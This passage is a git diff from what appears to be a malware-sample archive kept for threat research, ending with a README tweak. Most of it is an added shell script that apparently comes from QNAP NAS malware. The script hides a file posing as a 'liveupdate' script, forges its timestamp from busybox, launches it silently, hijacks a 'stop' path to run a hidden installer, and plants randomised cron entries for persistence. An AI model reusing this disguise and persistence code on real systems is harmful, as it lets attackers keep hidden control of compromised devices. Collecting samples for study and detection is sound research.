[ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } +fi +fi +XEOF +chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "${bdir}/.qpkg/.liveupdate/liveupdate.sh" || chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab" +crontab "$crontab" +sleep 2 +fi +done +) & ) & diff --git a/README.md b/README.md index 635e42a..b2dc1eb 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ ATTENTION: This repository contains actual malware, do not execute any of these They have been renamed for easier processing. -This is an ongoing and updated archive of files that we collect which are associated with specific public reports. If there is a report that is released which we haven't yet covered with related IOCs please feel free to put in a request! +This is an ongoing and updated archive of files that we collect which are associated with specific public malicious threat reports. If there is a report that is released which we haven't yet covered with related IOCs please feel free to put in a request! All of the malware samples contained in this repository has been collected by various locations. This repository is designed to try to stay up to date with various public reports and to make the process of retreiving the files associated with this reports (tied to the published IOCs) more easily.